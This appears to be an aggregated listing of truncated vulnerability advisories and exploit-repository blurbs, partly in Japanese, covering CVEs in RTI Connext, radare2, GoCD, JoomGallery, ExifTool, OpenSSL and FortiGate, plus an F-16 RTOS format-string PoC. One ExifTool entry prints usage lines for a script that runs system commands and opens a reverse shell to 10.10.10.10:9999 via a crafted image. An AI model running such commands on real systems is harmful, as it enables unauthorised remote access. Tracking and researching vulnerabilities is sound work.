CVE-2026-18461

Use of Externally-Controlled Format String vulnerability in RTI Connext Professional Core Libraries allows Format String Injection. This issue affects Connext Professional: from 7.5.0 before 7.7.0.1, from 7.3.0.10 before 7.3.1.6...

CVE-2026-18461

The RTI Connext Professional (Core Libraries) is vulnerable to a Format String Injection flaw due to the Use of Externally-Controlled Format String . This vulnerability affects versions 7.5.0 before 7.7.0.1 and 7.3.0.10 before 7.3.1.6 . An attacker could potentially exploit this to impact the con...

EUVD-2026-84616

Use of Externally-Controlled Format String vulnerability in RTI Connext Professional Core Libraries allows Format String Injection. This issue affects Connext Professional: from 7.5.0 before 7.7.0.1, from 7.3.0.10 before 7.3.1.6...

CVE-2026-81880

radare2 is a UNIX-like reverse engineering framework and command-line toolset. Prior to 6.2.0, radare2's Apple Preferred Executable Format loader was vulnerable because the PEF loader accepted relocSecCount values that were not bounded by the number of sections or complete relocation records in t...

CVE-2026-81880

radare2 is a UNIX-like reverse engineering framework and command-line toolset. Prior to 6.2.0, radare2's Apple Preferred Executable Format loader was vulnerable because the PEF loader accepted relocSecCount values that were not bounded by the number of sections or complete relocation records in t...

PoC-CVE-2024-23113

免責事項 このリポジトリに含まれるコードおよび資料は、厳密に教育、研究、および許可されたセキュリティテストを目的として 提供されます。 禁止事項 所有者から明示的な事前の書面による許可なしに、このツール/コードをいかなるインフラストラクチャ、システム、またはネットワークに対しても使用しないでください。 許可されていないスキャン、悪用、または悪意のある活動にこの資料を利用することは、完全に違法であり、厳しく禁止されています。 責任の制限 本ソフトウェアは、「現状のまま」で提供され、明示または黙示を問わず、いかなる種類の保証もありません。...

CVE-2024-25503

CVE-2024-25503 脆弱性タイプ : Cross Site Scripting XSS 製品: Advanced REST Client desktop application 脆弱性のあるバージョン: 17.0.9 製品のベンダー:https://www.advancedrestclient.com/ 1. 説明 Advanced REST Client v.17.0.9 におけるクロスサイトスクリプティング XSS の脆弱性により、リモートの攻撃者が任意のコードを実行し、機密情報を取得することが可能です。これは、New Project 機能の 'edit details'...

cvelistV5

注記 2026-2-17 日付正規化の処理日を追加し、潜在的な不整合に対処する 新しい日付正規化スケジュール: 2/16/26 - 2/28/26 注記 2026-2-10 レコード日付正規化deltaLog.json ファイルの変更 deltaLog.json ファイルは通常、CVE レコードの変更履歴をローリングで30日分保持します。ただし、日付正規化プロセス（2/16/26〜2/28/26） の間、deltaLog.json ファイルは一時的に15日分のみ保持します。多数のレコードが変更されるため、これにより deltaLog.json...

stegano

Steganography by bzt Online demo In a nutshell, steganography is the art of hiding messages in another medium in plain sight without people realizing. This implementation reads in images in popular web formats WEBP, PNG, GIF, JPEG, hides the optionally encrypted text in them and saves the result ...

ghidra-mtk-loader

MediaTek md1img ローダー（Ghidra 用） MediaTek md1img モデムファームウェアイメージ形式用の Ghidra ローダーです。現在は nanoMIPS ベースのファームウェアのみがサポートされていますが、イメージのロード時に別のアーキテクチャ（例：MIPS）を手動で選択すれば、基本的な機能は引き続き動作する可能性があります。 セットアップ nanoMIPS ベースのモデムでは、ファームウェアイメージのロードを試みる前に、このローダーと一緒に nanoMIPS ISA Ghidra プラグイン をインストールしてください。 使い方 Ghidra...

CVE-2021-22204

CVE-2021-22204 CVEの概要 ExifTool バージョン7.44以降のDjVuファイル形式におけるユーザーデータの不適切なサニタイズにより、悪意のある画像を解析する際に任意のコード実行が可能になります。 影響を受けるバージョン バージョン 7.44 - 12.23 特記事項 依存関係: djvulibre-bin exiftool 以下の3つのコマンドを呼び出します: bzz, dvjumake, exiftool 参考文献 GitHub POC - Gustavo Dutra, 2021年5月11日 ケーススタディ: CVE-2021-22204 Exiftool RC...

CVE-2026-81880: Uncontrolled Resource Consumption

radare2 is a UNIX-like reverse engineering framework and command-line toolset. Prior to 6.2.0, radare2's Apple Preferred Executable Format loader was vulnerable because the PEF loader accepted relocSecCount values that were not bounded by the number of sections or complete relocation records in t...

CVE-2022-0778

CVE-2022-0778 説明 drago-96 のコンセプトを参考に、P12およびPEM形式に基づいてPoCを書き直しました。これを使用してCVE-2022-0778の脆弱性（つまり、危険なSSL証明書、秘密パスワードなしで空のまま）を検証できます。影響を受けるデバイスでは、プロセスのCPU使用率が100%になったり、再起動が発生する可能性があります。 クレジット https://github.com/drago-96/CVE-2022-0778 https://twitter.com/taviso https://github.com/wllm-rbnt/asn1template...

CVE-2026-68919

GoCD is a continuous deliver server. From 13.3.0 until 26.1.0, GoCD does not correctly encode and escape malicious material modification comments that mimic the special trackback format used by package materials when rendering the Stage Detail, Job/Build Detail, Value Stream Map, and Pipeline...

EUVD-2026-83948

GoCD is a continuous deliver server. From 13.3.0 until 26.1.0, GoCD does not correctly encode and escape malicious material modification comments that mimic the special trackback format used by package materials when rendering the Stage Detail, Job/Build Detail, Value Stream Map, and Pipeline...

CVE-2026-66916

JoomGallery の JSON 形式によるパスワード保護カテゴリのバイパス JoomGallery ≤ 4.3.0-stable — 未認証の攻撃者がパスワードゲートをバイパスして保護された画像をダウンロード可能 概要 JoomGallery のカテゴリ JSON ビューに、未認証のアクセス制御バイパスが存在します。ギャラリーカテゴリがパスワードで保護されている場合、HTML ビューはパスワードゲートを正しく強制しますが、JSON ビュー（format=json）はこのチェックを完全にスキップします。...

Prineo_RE

概要 PriPara（内部名称Prineo）は、SynSophiaによって開発されたアーケードリズムゲームです。 目的 このプロジェクトの目的は、アーケードシリーズのモデルフォーマットをリバースエンジニアリングし、Nintendo Switch版の新しいバージョンのゲームに独占キャラクターを移植することでした。 スクリーンショット リバースエンジニアリングプロセス中に撮影されたいくつかの興味深いスクリーンショット。 Noesisアドオンの初期バージョン — 最初の部分的なモデルインポート 14-09-2025 逆シリアル化実装をテストするために使用されたCモデルリーダー 06-12-20...

CVE-2024-23113

CVE-2024-23113 このスクリプトは、TCPポート541で動作するFortiGate...

CVE-2021-22204

CVE-2021-22204 説明 ExifTool バージョン 7.44 以降の DjVu ファイル形式におけるユーザーデータの不適切な無害化により、悪意のある画像を解析する際に任意のコード実行が可能になります。 スクリプト Script Link スクリプトの使い方: システムコマンド: root@kitploit: bash CVE-2021-2204.sh "system'id'" happy.jpg リバースシェル root@kitploit: bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg...

RTOS-F-16-Exploit---CVE-2019-7711

Green Hills INTEGRITY RTOS F-16 エクスプロイト - CVE-2019-7711 完全なフォーマット文字列攻撃チェーン F-16アビオニクスに対する現実的な地上整備攻撃 📋 説明 このリポジトリには、CVE-2019-7711 の概念実証（PoC）が含まれています。これは、Interpeak IPCOMShell TELNETサーバー（Green Hills INTEGRITY RTOS 5.0.4の一部）におけるフォーマット文字列の脆弱性です。 このエクスプロイトは、地上整備中 のF-16 Fighting Falcon （Block...